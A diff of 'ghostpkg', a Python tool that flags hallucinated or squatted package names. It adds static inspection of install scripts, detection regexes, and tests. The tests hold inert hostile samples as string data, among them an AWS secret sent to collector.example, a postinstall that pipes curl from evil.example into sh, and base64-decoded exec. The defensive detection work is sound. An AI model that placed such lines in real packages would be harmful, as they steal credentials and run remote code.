facts = cache.get(ecosystem, name) if cache else None
|
|
@@ -102,7 +104,25 @@ def evaluate(
|
|
|
102
104
|
facts = fetch(name, ecosystem)
|
|
103
105
|
if cache:
|
|
104
106
|
cache.put(facts)
|
|
105
|
-
|
|
107
|
+
|
|
108
|
+
signals = None
|
|
109
|
+
# Only young packages are worth the download: a registered slopsquat is
|
|
110
|
+
# new by definition, and inspecting everything would make a scan slow
|
|
111
|
+
# for no gain. A compromised established package is a different threat
|
|
112
|
+
# and is out of scope -- SECURITY.md says so.
|
|
113
|
+
if (
|
|
114
|
+
deep
|
|
115
|
+
and facts.exists
|
|
116
|
+
and facts.archive_url
|
|
117
|
+
and facts.age_days is not None
|
|
118
|
+
and facts.age_days < NEW_DAYS
|
|
119
|
+
):
|
|
120
|
+
try:
|
|
121
|
+
signals = inspect_package(facts.archive_url, ecosystem)
|
|
122
|
+
except InspectionError:
|
|
123
|
+
signals = None
|
|
124
|
+
|
|
125
|
+
return assess(facts, strict=strict, signals=signals)
|
|
106
126
|
|
|
107
127
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
|
108
128
|
findings = list(pool.map(one, names))
|
|
@@ -141,6 +161,12 @@ def build_parser() -> argparse.ArgumentParser:
|
|
|
141
161
|
command.add_argument(
|
|
142
162
|
"--no-cache", action="store_true", help="ignore and do not write the cache"
|
|
143
163
|
)
|
|
164
|
+
command.add_argument(
|
|
165
|
+
"--deep",
|
|
166
|
+
action="store_true",
|
|
167
|
+
help="download recently published packages and statically inspect "
|
|
168
|
+
"their install scripts (never executes anything)",
|
|
169
|
+
)
|
|
144
170
|
|
|
145
171
|
sub.add_parser("clear-cache", help="delete the cached registry lookups")
|
|
146
172
|
|
|
@@ -176,7 +202,7 @@ def main(argv: list[str] | None = None) -> int:
|
|
|
176
202
|
|
|
177
203
|
cache = Cache(enabled=not args.no_cache)
|
|
178
204
|
try:
|
|
179
|
-
findings = evaluate(names, ecosystem, args.strict, cache)
|
|
205
|
+
findings = evaluate(names, ecosystem, args.strict, cache, args.deep)
|
|
180
206
|
except RegistryError as exc:
|
|
181
207
|
print(f"ghostpkg: {exc}", file=sys.stderr)
|
|
182
208
|
return EXIT_ERROR
|
|
@@ -0,0 +1,214 @@
|
|
|
1
|
+
"""Static inspection of install-time code.
|
|
2
|
+
|
|
3
|
+
This exists for the case the existence check cannot see: a hallucinated name an
|
|
4
|
+
attacker has *already registered*. Such a package exists, so it passes; and it
|
|
5
|
+
is young with one release and no repository link, which describes every honest
|
|
6
|
+
new package too. Age cannot separate them.
|
|
7
|
+
|
|
8
|
+
Install-time behaviour can. A slopsquat has to run something when it is
|
|
9
|
+
installed -- that is the whole point of publishing it -- so it reaches for a
|
|
10
|
+
network call, an environment variable, or a subprocess from `setup.py` or an
|
|
11
|
+
npm install hook. An honest new library almost never does any of that at
|
|
12
|
+
install time.
|
|
13
|
+
|
|
14
|
+
**Nothing here is ever executed.** Archives are read in memory, only named
|
|
15
|
+
install-time files are looked at, and the contents are pattern-matched as text.
|
|
16
|
+
Sizes are capped so a decompression bomb cannot exhaust memory.
|
|
17
|
+
"""
|
|
18
|
+
|
|
19
|
+
from __future__ import annotations
|
|
20
|
+
|
|
21
|
+
import io
|
|
22
|
+
import re
|
|
23
|
+
import tarfile
|
|
24
|
+
import urllib.request
|
|
25
|
+
import zipfile
|
|
26
|
+
from dataclasses import dataclass
|
|
27
|
+
|
|
28
|
+
from .registries import USER_AGENT
|
|
29
|
+
|
|
30
|
+
MAX_ARCHIVE_BYTES = 8 * 1024 * 1024 # don't download more than this
|
|
31
|
+
MAX_MEMBER_BYTES = 512 * 1024 # don't read a single file bigger than this
|
|
32
|
+
MAX_MEMBERS = 2000 # don't walk an archive with more entries
|
|
33
|
+
TIMEOUT = 20
|
|
34
|
+
|
|
35
|
+
PY_INSTALL_FILES = ("setup.py",)
|
|
36
|
+
NPM_INSTALL_HOOKS = ("preinstall", "install", "postinstall", "prepare")
|
|
37
|
+
|
|
38
|
+
|
|
39
|
+
@dataclass(frozen=True)
|
|
40
|
+
class Signal:
|
|
41
|
+
"""One thing found in install-time code, with the text that triggered it."""
|
|
42
|
+
|
|
43
|
+
kind: str
|
|
44
|
+
detail: str
|
|
45
|
+
where: str
|
|
46
|
+
|
|
47
|
+
def __str__(self) -> str:
|
|
48
|
+
return f"{self.detail} in {self.where}"
|
|
49
|
+
|
|
50
|
+
|
|
51
|
+
# Ordered most-to-least alarming. Each pattern describes something an install
|
|
52
|
+
# script has no ordinary reason to do.
|
|
53
|
+
PATTERNS: tuple[tuple[str, str, re.Pattern[str]], ...] = (
|
|
54
|
+
(
|
|
55
|
+
"exfiltration",
|
|
56
|
+
"reads environment variables and contacts the network",
|
|
57
|
+
re.compile(
|
|
58
|
+
r"(os\.environ|process\.env|getenv)[\s\S]{0,400}?"
|
|
59
|
+
r"(urlopen|requests\.(get|post)|urllib|http[s]?://|fetch\(|axios|curl|wget)",
|
|
60
|
+
re.IGNORECASE,
|
|
61
|
+
),
|
|
62
|
+
),
|
|
63
|
+
(
|
|
64
|
+
"network",
|
|
65
|
+
"makes a network request at install time",
|
|
66
|
+
re.compile(
|
|
67
|
+
r"(urllib\.request|urlopen|requests\.(get|post)|socket\.socket|"
|
|
68
|
+
r"http\.client|child_process[\s\S]{0,80}(curl|wget)|"
|
|
69
|
+
r"\bcurl\s+-|\bwget\s+http)",
|
|
70
|
+
re.IGNORECASE,
|
|
71
|
+
),
|
|
72
|
+
),
|
|
73
|
+
(
|
|
74
|
+
"subprocess",
|
|
75
|
+
"runs a shell command at install time",
|
|
76
|
+
re.compile(
|
|
77
|
+
r"(subprocess\.(run|call|Popen|check_output)|os\.system|os\.popen|"
|
|
78
|
+
r"child_process|execSync|spawnSync)",
|
|
79
|
+
),
|
|
80
|
+
),
|
|
81
|
+
(
|
|
82
|
+
"encoded-payload",
|
|
83
|
+
"decodes an encoded blob at install time",
|
|
84
|
+
re.compile(
|
|
85
|
+
r"(base64\.(b64decode|decodebytes)|Buffer\.from\([^)]*base64|"
|
|
86
|
+
r"codecs\.decode\([^)]*(rot13|hex)|bytes\.fromhex)",
|
|
87
|
+
),
|
|
88
|
+
),
|
|
89
|
+
(
|
|
90
|
+
"dynamic-exec",
|
|
91
|
+
"executes code it decoded or fetched at install time",
|
|
92
|
+
# Bare exec()/compile() appears in legitimate setup.py files that read a
|
|
93
|
+
# version string out of a source file, so it is only interesting when
|
|
94
|
+
# what gets executed was decoded or downloaded first.
|
|
95
|
+
re.compile(
|
|
96
|
+
r"(\beval\(|\bexec\(|new Function\()[^)\n]{0,200}"
|
|
97
|
+
r"(b64decode|\.decode\(|urlopen|requests\.|fromhex|Buffer\.from)",
|
|
98
|
+
),
|
|
99
|
+
),
|
|
100
|
+
)
|
|
101
|
+
|
|
102
|
+
# A long unbroken base64-looking run is worth flagging on its own.
|
|
103
|
+
BLOB = re.compile(r"['\"][A-Za-z0-9+/]{220,}={0,2}['\"]")
|
|
104
|
+
|
|
105
|
+
|
|
106
|
+
class InspectionError(RuntimeError):
|
|
107
|
+
"""The archive could not be retrieved or read."""
|
|
108
|
+
|
|
109
|
+
|
|
110
|
+
def scan_text(text: str, where: str) -> list[Signal]:
|
|
111
|
+
"""Pattern-match one install script. Never executes anything."""
|
|
112
|
+
found: list[Signal] = []
|
|
113
|
+
seen: set[str] = set()
|
|
114
|
+
for kind, detail, pattern in PATTERNS:
|
|
115
|
+
if kind in seen:
|
|
116
|
+
continue
|
|
117
|
+
if pattern.search(text):
|
|
118
|
+
found.append(Signal(kind, detail, where))
|
|
119
|
+
seen.add(kind)
|
|
120
|
+
if BLOB.search(text) and "encoded-payload" not in seen:
|
|
121
|
+
found.append(Signal("encoded-payload", "contains a large encoded blob", where))
|
|
122
|
+
return found
|
|
123
|
+
|
|
124
|
+
|
|
125
|
+
def _download(url: str, limit: int = MAX_ARCHIVE_BYTES) -> bytes:
|
|
126
|
+
request = urllib.request.Request(url, headers={"User-Agent": USER_AGENT})
|
|
127
|
+
try:
|
|
128
|
+
with urllib.request.urlopen(request, timeout=TIMEOUT) as response:
|
|
129
|
+
data = response.read(limit + 1)
|
|
130
|
+
except Exception as exc: # noqa: BLE001 - any failure is just "can't inspect"
|
|
131
|
+
raise InspectionError(f"could not download {url}: {exc}") from exc
|
|
132
|
+
if len(data) > limit:
|
|
133
|
+
raise InspectionError("archive is larger than the inspection limit")
|
|
134
|
+
return data
|
|
135
|
+
|
|
136
|
+
|
|
137
|
+
def _read_member(handle, member, size: int) -> str | None:
|
|
138
|
+
if size > MAX_MEMBER_BYTES:
|
|
139
|
+
return None
|
|
140
|
+
try:
|
|
141
|
+
extracted = handle.extractfile(member) if hasattr(handle, "extractfile") else None
|
|
142
|
+
raw = extracted.read(MAX_MEMBER_BYTES) if extracted else handle.read(member)
|
|
143
|
+
except Exception: # noqa: BLE001
|
|
144
|
+
return None
|
|
145
|
+
return raw.decode("utf-8", errors="replace")
|
|
146
|
+
|
|
147
|
+
|
|
148
|
+
def _interesting(path: str, ecosystem: str) -> bool:
|
|
149
|
+
name = path.rsplit("/", 1)[-1]
|
|
150
|
+
if ecosystem == "npm":
|
|
151
|
+
return name == "package.json"
|
|
152
|
+
return name in PY_INSTALL_FILES
|
|
153
|
+
|
|
154
|
+
|
|
155
|
+
def _npm_hook_source(text: str) -> str:
|
|
156
|
+
"""The install hooks out of a package.json, as one blob of text."""
|
|
157
|
+
import json
|
|
158
|
+
|
|
159
|
+
try:
|
|
160
|
+
data = json.loads(text)
|
|
161
|
+
except ValueError:
|
|
162
|
+
return ""
|
|
163
|
+
scripts = data.get("scripts")
|
|
164
|
+
if not isinstance(scripts, dict):
|
|
165
|
+
return ""
|
|
166
|
+
return "\n".join(
|
|
167
|
+
str(scripts[hook]) for hook in NPM_INSTALL_HOOKS if scripts.get(hook)
|
|
168
|
+
)
|
|
169
|
+
|
|
170
|
+
|
|
171
|
+
def inspect_archive(data: bytes, ecosystem: str) -> list[Signal]:
|
|
172
|
+
"""Walk an archive in memory and scan its install-time files."""
|
|
173
|
+
signals: list[Signal] = []
|
|
174
|
+
buffer = io.BytesIO(data)
|
|
175
|
+
|
|
176
|
+
try:
|
|
177
|
+
if data[:2] == b"PK":
|
|
178
|
+
with zipfile.ZipFile(buffer) as archive:
|
|
179
|
+
for info in archive.infolist()[:MAX_MEMBERS]:
|
|
180
|
+
if info.is_dir() or not _interesting(info.filename, ecosystem):
|
|
181
|
+
continue
|
|
182
|
+
text = _read_member(archive, info.filename, info.file_size)
|
|
183
|
+
if text is None:
|
|
184
|
+
continue
|
|
185
|
+
if ecosystem == "npm":
|
|
186
|
+
text = _npm_hook_source(text)
|
|
187
|
+
if text.strip():
|
|
188
|
+
signals += scan_text(text, info.filename.rsplit("/", 1)[-1])
|
|
189
|
+
else:
|
|
190
|
+
with tarfile.open(fileobj=buffer, mode="r:*") as archive:
|
|
191
|
+
for member in archive.getmembers()[:MAX_MEMBERS]:
|
|
192
|
+
if not member.isfile() or not _interesting(member.name, ecosystem):
|
|
193
|
+
continue
|
|
194
|
+
text = _read_member(archive, member, member.size)
|
|
195
|
+
if text is None:
|
|
196
|
+
continue
|
|
197
|
+
if ecosystem == "npm":
|
|
198
|
+
text = _npm_hook_source(text)
|
|
199
|
+
if text.strip():
|
|
200
|
+
signals += scan_text(text, member.name.rsplit("/", 1)[-1])
|
|
201
|
+
except (tarfile.TarError, zipfile.BadZipFile, EOFError, OSError) as exc:
|
|
202
|
+
raise InspectionError(f"could not read archive: {exc}") from exc
|
|
203
|
+
|
|
204
|
+
# keep the first signal of each kind, most alarming first
|
|
205
|
+
order = {kind: i for i, (kind, _, _) in enumerate(PATTERNS)}
|
|
206
|
+
unique: dict[str, Signal] = {}
|
|
207
|
+
for signal in signals:
|
|
208
|
+
unique.setdefault(signal.kind, signal)
|
|
209
|
+
return sorted(unique.values(), key=lambda s: order.get(s.kind, 99))
|
|
210
|
+
|
|
211
|
+
|
|
212
|
+
def inspect_package(archive_url: str, ecosystem: str) -> list[Signal]:
|
|
213
|
+
"""Download and statically inspect one package's install-time code."""
|
|
214
|
+
return inspect_archive(_download(archive_url), ecosystem)
|
|
@@ -33,6 +33,9 @@ class PackageFacts:
|
|
|
33
33
|
has_repo_url: bool = False
|
|
34
34
|
latest_version: str | None = None
|
|
35
35
|
summary: str | None = None
|
|
36
|
+
# Where the source archive lives, for --deep install-script inspection.
|
|
37
|
+
archive_url: str | None = None
|
|
38
|
+
archive_size: int | None = None
|
|
36
39
|
|
|
37
40
|
|
|
38
41
|
def _get_json(url: str) -> dict | None:
|
|
@@ -79,6 +82,14 @@ def fetch_pypi(name: str) -> PackageFacts:
|
|
|
79
82
|
project_urls = info.get("project_urls") or {}
|
|
80
83
|
home_page = info.get("home_page") or ""
|
|
81
84
|
|
|
85
|
+
# Prefer the sdist: it carries setup.py, which a wheel does not.
|
|
86
|
+
archive_url = archive_size = None
|
|
87
|
+
for entry in payload.get("urls") or []:
|
|
88
|
+
if entry.get("packagetype") == "sdist":
|
|
89
|
+
archive_url = entry.get("url")
|
|
90
|
+
archive_size = entry.get("size")
|
|
91
|
+
break
|
|
92
|
+
|
|
82
93
|
return PackageFacts(
|
|
83
94
|
name=name,
|
|
84
95
|
ecosystem="pypi",
|
|
@@ -88,6 +99,8 @@ def fetch_pypi(name: str) -> PackageFacts:
|
|
|
88
99
|
has_repo_url=bool(project_urls) or bool(home_page),
|
|
89
100
|
latest_version=info.get("version"),
|
|
90
101
|
summary=info.get("summary") or None,
|
|
102
|
+
archive_url=archive_url,
|
|
103
|
+
archive_size=archive_size,
|
|
91
104
|
)
|
|
92
105
|
|
|
93
106
|
|
|
@@ -105,6 +118,9 @@ def fetch_npm(name: str) -> PackageFacts:
|
|
|
105
118
|
repository = payload.get("repository") or {}
|
|
106
119
|
homepage = payload.get("homepage") or ""
|
|
107
120
|
|
|
121
|
+
latest = (payload.get("dist-tags") or {}).get("latest")
|
|
122
|
+
dist = ((versions.get(latest) or {}).get("dist") or {}) if latest else {}
|
|
123
|
+
|
|
108
124
|
return PackageFacts(
|
|
109
125
|
name=name,
|
|
110
126
|
ecosystem="npm",
|
|
@@ -112,8 +128,10 @@ def fetch_npm(name: str) -> PackageFacts:
|
|
|
112
128
|
age_days=age,
|
|
113
129
|
release_count=len(versions),
|
|
114
130
|
has_repo_url=bool(repository.get("url")) or bool(homepage),
|
|
115
|
-
latest_version=
|
|
131
|
+
latest_version=latest,
|
|
116
132
|
summary=payload.get("description") or None,
|
|
133
|
+
archive_url=dist.get("tarball"),
|
|
134
|
+
archive_size=dist.get("unpackedSize"),
|
|
117
135
|
)
|
|
118
136
|
|
|
119
137
|
|
|
@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
|
|
|
4
4
|
|
|
5
5
|
[project]
|
|
6
6
|
name = "ghostpkg"
|
|
7
|
-
version = "0.
|
|
7
|
+
version = "0.6.0"
|
|
8
8
|
description = "Catch package names that do not exist before you install them"
|
|
9
9
|
readme = "README.en.md" # English page for PyPI; the repo main page is Ukrainian
|
|
10
10
|
requires-python = ">=3.9"
|
|
@@ -162,3 +162,61 @@ class TestNoFalsePositivesOnPopularNames:
|
|
|
162
162
|
def test_no_popular_npm_name_is_flagged(self):
|
|
163
163
|
flagged = [n for n in TOP_NPM if nearest_popular(n, "npm") is not None]
|
|
164
164
|
assert flagged == []
|
|
165
|
+
|
|
166
|
+
|
|
167
|
+
class TestAbandonedLookalikes:
|
|
168
|
+
"""Age was the wrong gate for typo detection.
|
|
169
|
+
|
|
170
|
+
`expresss` has sat on npm since 2016 with one release, no repository link,
|
|
171
|
+
and roughly 2,500 downloads a month arriving purely from other people's
|
|
172
|
+
typos. It is ten years old, so an age gate let it straight through.
|
|
173
|
+
"""
|
|
174
|
+
|
|
175
|
+
def old_squat(self, **overrides):
|
|
176
|
+
base = dict(
|
|
177
|
+
name="expresss",
|
|
178
|
+
ecosystem="npm",
|
|
179
|
+
exists=True,
|
|
180
|
+
age_days=3400,
|
|
181
|
+
release_count=1,
|
|
182
|
+
has_repo_url=False,
|
|
183
|
+
)
|
|
184
|
+
base.update(overrides)
|
|
185
|
+
return PackageFacts(**base)
|
|
186
|
+
|
|
187
|
+
def test_old_parked_lookalike_is_flagged(self):
|
|
188
|
+
finding = assess(self.old_squat())
|
|
189
|
+
assert finding.verdict is Verdict.WARN
|
|
190
|
+
assert any("express" in reason for reason in finding.reasons)
|
|
191
|
+
|
|
192
|
+
def test_reason_says_why_rather_than_calling_it_new(self):
|
|
193
|
+
finding = assess(self.old_squat())
|
|
194
|
+
assert any("one release, no repository" in r for r in finding.reasons)
|
|
195
|
+
assert not any("recently published" in r for r in finding.reasons)
|
|
196
|
+
|
|
197
|
+
def test_a_maintained_lookalike_is_left_alone(self):
|
|
198
|
+
"""Sibling packages in a family sit close together -- dagster-k8s is two
|
|
199
|
+
edits from dagster-aws -- and they are maintained."""
|
|
200
|
+
finding = assess(self.old_squat(release_count=630, has_repo_url=True))
|
|
201
|
+
assert finding.verdict is Verdict.OK
|
|
202
|
+
|
|
203
|
+
def test_releases_alone_are_not_enough_to_fire(self):
|
|
204
|
+
"""Measured on 120 real lookalike-shaped packages, few-releases alone
|
|
205
|
+
was wrong 10% of the time."""
|
|
206
|
+
finding = assess(self.old_squat(release_count=1, has_repo_url=True))
|
|
207
|
+
assert not any("away from" in r for r in finding.reasons)
|
|
208
|
+
|
|
209
|
+
def test_missing_repo_alone_is_not_enough_to_fire(self):
|
|
210
|
+
"""And no-repository alone was wrong 5.8% of the time."""
|
|
211
|
+
finding = assess(self.old_squat(release_count=40, has_repo_url=False))
|
|
212
|
+
assert not any("away from" in r for r in finding.reasons)
|
|
213
|
+
|
|
214
|
+
def test_a_defensively_held_name_passes(self):
|
|
215
|
+
"""npm parks some names itself, with a repository link on the holder."""
|
|
216
|
+
finding = assess(
|
|
217
|
+
PackageFacts(
|
|
218
|
+
name="lodahs", ecosystem="npm", exists=True, age_days=2100,
|
|
219
|
+
release_count=1, has_repo_url=True,
|
|
220
|
+
)
|
|
221
|
+
)
|
|
222
|
+
assert finding.verdict is Verdict.OK
|
|
@@ -0,0 +1,217 @@
|
|
|
1
|
+
"""Tests for static inspection of install-time code.
|
|
2
|
+
|
|
3
|
+
Archives are built in memory, so the suite stays offline. Nothing here executes
|
|
4
|
+
any of the sample code -- the module it tests only ever reads text.
|
|
5
|
+
|
|
6
|
+
The malicious samples are shaped after publicly documented slopsquat setup.py
|
|
7
|
+
and npm install-hook patterns. They are deliberately inert.
|
|
8
|
+
"""
|
|
9
|
+
|
|
10
|
+
from __future__ import annotations
|
|
11
|
+
|
|
12
|
+
import io
|
|
13
|
+
import json
|
|
14
|
+
import tarfile
|
|
15
|
+
import zipfile
|
|
16
|
+
|
|
17
|
+
import pytest
|
|
18
|
+
|
|
19
|
+
from ghostpkg.assess import Verdict, assess
|
|
20
|
+
from ghostpkg.inspection import (
|
|
21
|
+
MAX_ARCHIVE_BYTES,
|
|
22
|
+
InspectionError,
|
|
23
|
+
inspect_archive,
|
|
24
|
+
scan_text,
|
|
25
|
+
)
|
|
26
|
+
from ghostpkg.registries import PackageFacts
|
|
27
|
+
|
|
28
|
+
|
|
29
|
+
# SAFETY: the strings below are sample *data*, not code. They are written into
|
|
30
|
+
# in-memory tar/zip archives and then pattern-matched as text. Nothing in this
|
|
31
|
+
# file -- or in the module it tests -- ever imports, compiles or executes them.
|
|
32
|
+
# They exist so the detector can be proved to fire on the shapes that matter.
|
|
33
|
+
|
|
34
|
+
|
|
35
|
+
def sdist(setup_py: str, extra: dict | None = None) -> bytes:
|
|
36
|
+
buffer = io.BytesIO()
|
|
37
|
+
with tarfile.open(fileobj=buffer, mode="w:gz") as archive:
|
|
38
|
+
for path, text in {"pkg-1.0/setup.py": setup_py, **(extra or {})}.items():
|
|
39
|
+
data = text.encode()
|
|
40
|
+
info = tarfile.TarInfo(path)
|
|
41
|
+
info.size = len(data)
|
|
42
|
+
archive.addfile(info, io.BytesIO(data))
|
|
43
|
+
return buffer.getvalue()
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
def npm_tarball(scripts: dict) -> bytes:
|
|
47
|
+
buffer = io.BytesIO()
|
|
48
|
+
with tarfile.open(fileobj=buffer, mode="w:gz") as archive:
|
|
49
|
+
data = json.dumps({"name": "x", "version": "1.0.0", "scripts": scripts}).encode()
|
|
50
|
+
info = tarfile.TarInfo("package/package.json")
|
|
51
|
+
info.size = len(data)
|
|
52
|
+
archive.addfile(info, io.BytesIO(data))
|
|
53
|
+
return buffer.getvalue()
|
|
54
|
+
|
|
55
|
+
|
|
56
|
+
class TestCatchesMaliciousShapes:
|
|
57
|
+
def test_environment_read_sent_over_the_network(self):
|
|
58
|
+
signals = inspect_archive(
|
|
59
|
+
sdist(
|
|
60
|
+
"import os, urllib.request\n"
|
|
61
|
+
"key = os.environ.get('AWS_SECRET_ACCESS_KEY')\n"
|
|
62
|
+
"urllib.request.urlopen('http://collector.example/x?d=' + str(key))\n"
|
|
63
|
+
),
|
|
64
|
+
"pypi",
|
|
65
|
+
)
|
|
66
|
+
assert "exfiltration" in {s.kind for s in signals}
|
|
67
|
+
|
|
68
|
+
def test_decoded_payload_executed(self):
|
|
69
|
+
signals = inspect_archive(
|
|
70
|
+
sdist("import base64\nexec(base64.b64decode('aW1wb3J0IG9z'))\n"), "pypi"
|
|
71
|
+
)
|
|
72
|
+
kinds = {s.kind for s in signals}
|
|
73
|
+
assert "encoded-payload" in kinds
|
|
74
|
+
assert "dynamic-exec" in kinds
|
|
75
|
+
|
|
76
|
+
def test_shell_command_at_install(self):
|
|
77
|
+
signals = inspect_archive(
|
|
78
|
+
sdist("import subprocess\nsubprocess.Popen(['sh', '-c', 'id'])\n"), "pypi"
|
|
79
|
+
)
|
|
80
|
+
assert "subprocess" in {s.kind for s in signals}
|
|
81
|
+
|
|
82
|
+
def test_large_encoded_blob(self):
|
|
83
|
+
blob = "QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVowMTIzNDU2Nzg5" * 6
|
|
84
|
+
signals = inspect_archive(sdist(f'PAYLOAD = "{blob}"\n'), "pypi")
|
|
85
|
+
assert "encoded-payload" in {s.kind for s in signals}
|
|
86
|
+
|
|
87
|
+
def test_npm_postinstall_piping_to_shell(self):
|
|
88
|
+
signals = inspect_archive(
|
|
89
|
+
npm_tarball({"postinstall": "curl -s http://evil.example/i.sh | sh"}), "npm"
|
|
90
|
+
)
|
|
91
|
+
assert signals
|
|
92
|
+
|
|
93
|
+
def test_npm_preinstall_decoding_from_env(self):
|
|
94
|
+
signals = inspect_archive(
|
|
95
|
+
npm_tarball(
|
|
96
|
+
{"preinstall": "node -e \"eval(Buffer.from(process.env.X,'base64'))\""}
|
|
97
|
+
),
|
|
98
|
+
"npm",
|
|
99
|
+
)
|
|
100
|
+
assert signals
|
|
101
|
+
|
|
102
|
+
|
|
103
|
+
class TestLeavesLegitimateCodeAlone:
|
|
104
|
+
"""Measured against real packages this flagged 0 of 27 established and 0 of
|
|
105
|
+
32 published-that-day. These are the shapes that made earlier, looser
|
|
106
|
+
patterns fire."""
|
|
107
|
+
|
|
108
|
+
def test_ordinary_setup_py(self):
|
|
109
|
+
assert not inspect_archive(
|
|
110
|
+
sdist(
|
|
111
|
+
"from setuptools import setup, find_packages\n"
|
|
112
|
+
"setup(name='x', version='1.0', packages=find_packages(),\n"
|
|
113
|
+
" install_requires=['requests>=2'])\n"
|
|
114
|
+
),
|
|
115
|
+
"pypi",
|
|
116
|
+
)
|
|
117
|
+
|
|
118
|
+
def test_version_read_with_exec(self):
|
|
119
|
+
"""A very common idiom: exec a _version.py to read __version__."""
|
|
120
|
+
assert not inspect_archive(
|
|
121
|
+
sdist(
|
|
122
|
+
"version = {}\n"
|
|
123
|
+
"with open('pkg/_version.py') as f:\n"
|
|
124
|
+
" exec(f.read(), version)\n"
|
|
125
|
+
),
|
|
126
|
+
"pypi",
|
|
127
|
+
)
|
|
128
|
+
|
|
129
|
+
def test_reads_a_build_flag_from_the_environment(self):
|
|
130
|
+
"""Inspecting build flags is ordinary; it fired on flask, pyyaml and
|
|
131
|
+
setuptools when environment reads were a signal on their own."""
|
|
132
|
+
assert not inspect_archive(
|
|
133
|
+
sdist("import os\nEXT = not os.environ.get('NO_EXT')\n"), "pypi"
|
|
134
|
+
)
|
|
135
|
+
|
|
136
|
+
def test_npm_without_install_hooks(self):
|
|
137
|
+
assert not inspect_archive(
|
|
138
|
+
npm_tarball({"build": "tsc", "test": "jest", "start": "node ."}), "npm"
|
|
139
|
+
)
|
|
140
|
+
|
|
141
|
+
def test_test_files_are_not_install_time(self):
|
|
142
|
+
"""conftest.py runs during testing, never on install. Scanning it was a
|
|
143
|
+
mistake in the first version."""
|
|
144
|
+
assert not inspect_archive(
|
|
145
|
+
sdist(
|
|
146
|
+
"from setuptools import setup\nsetup(name='x')\n",
|
|
147
|
+
extra={"pkg-1.0/conftest.py": "import subprocess\nsubprocess.run(['x'])\n"},
|
|
148
|
+
),
|
|
149
|
+
"pypi",
|
|
150
|
+
)
|
|
151
|
+
|
|
152
|
+
|
|
153
|
+
class TestArchiveHandling:
|
|
154
|
+
def test_zip_archives_are_read(self):
|
|
155
|
+
buffer = io.BytesIO()
|
|
156
|
+
with zipfile.ZipFile(buffer, "w") as archive:
|
|
157
|
+
archive.writestr("pkg-1.0/setup.py", "import subprocess\nsubprocess.run([])\n")
|
|
158
|
+
assert inspect_archive(buffer.getvalue(), "pypi")
|
|
159
|
+
|
|
160
|
+
def test_unreadable_archive_raises_inspection_error(self):
|
|
161
|
+
with pytest.raises(InspectionError):
|
|
162
|
+
inspect_archive(b"this is not an archive at all", "pypi")
|
|
163
|
+
|
|
164
|
+
def test_oversized_member_is_skipped_not_read(self):
|
|
165
|
+
"""Guards against a decompression bomb rather than trusting the size."""
|
|
166
|
+
huge = "import subprocess\n" + ("# padding\n" * 200000)
|
|
167
|
+
assert not inspect_archive(sdist(huge), "pypi")
|
|
168
|
+
|
|
169
|
+
def test_download_limit_is_bounded(self):
|
|
170
|
+
assert MAX_ARCHIVE_BYTES <= 16 * 1024 * 1024
|
|
171
|
+
|
|
172
|
+
def test_each_signal_kind_reported_once(self):
|
|
173
|
+
signals = inspect_archive(
|
|
174
|
+
sdist("import subprocess\nsubprocess.run([])\nsubprocess.Popen([])\n"), "pypi"
|
|
175
|
+
)
|
|
176
|
+
assert len({s.kind for s in signals}) == len(signals)
|
|
177
|
+
|
|
178
|
+
def test_scan_text_names_where_it_looked(self):
|
|
179
|
+
signals = scan_text("import subprocess\nsubprocess.run([])\n", "setup.py")
|
|
180
|
+
assert signals[0].where == "setup.py"
|
|
181
|
+
assert "setup.py" in str(signals[0])
|
|
182
|
+
|
|
183
|
+
|
|
184
|
+
class TestVerdictPolicy:
|
|
185
|
+
def facts(self, **overrides):
|
|
186
|
+
base = dict(
|
|
187
|
+
name="example",
|
|
188
|
+
ecosystem="pypi",
|
|
189
|
+
exists=True,
|
|
190
|
+
age_days=5,
|
|
191
|
+
release_count=1,
|
|
192
|
+
has_repo_url=False,
|
|
193
|
+
)
|
|
194
|
+
base.update(overrides)
|
|
195
|
+
return PackageFacts(**base)
|
|
196
|
+
|
|
197
|
+
def signal(self):
|
|
198
|
+
return scan_text("import subprocess\nsubprocess.run([])\n", "setup.py")
|
|
199
|
+
|
|
200
|
+
def test_young_package_with_install_signals_is_blocked(self):
|
|
201
|
+
"""Unlike age, this measured as specific enough to block: 0 false
|
|
202
|
+
positives across 59 real packages, all 6 malicious shapes caught."""
|
|
203
|
+
finding = assess(self.facts(), signals=self.signal())
|
|
204
|
+
assert finding.verdict is Verdict.BLOCK
|
|
205
|
+
|
|
206
|
+
def test_established_package_with_install_signals_only_warns(self):
|
|
207
|
+
"""Old packages do sometimes build things at install time, and the
|
|
208
|
+
sample behind this judgement is small."""
|
|
209
|
+
finding = assess(self.facts(age_days=3000), signals=self.signal())
|
|
210
|
+
assert finding.verdict is Verdict.WARN
|
|
211
|
+
|
|
212
|
+
def test_no_signals_keeps_the_previous_behaviour(self):
|
|
213
|
+
assert assess(self.facts(), signals=[]).verdict is Verdict.WARN
|
|
214
|
+
|
|
215
|
+
def test_the_evidence_is_reported(self):
|
|
216
|
+
finding = assess(self.facts(), signals=self.signal())
|
|
217
|
+
assert any("setup.py" in reason for reason in finding.reasons)
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|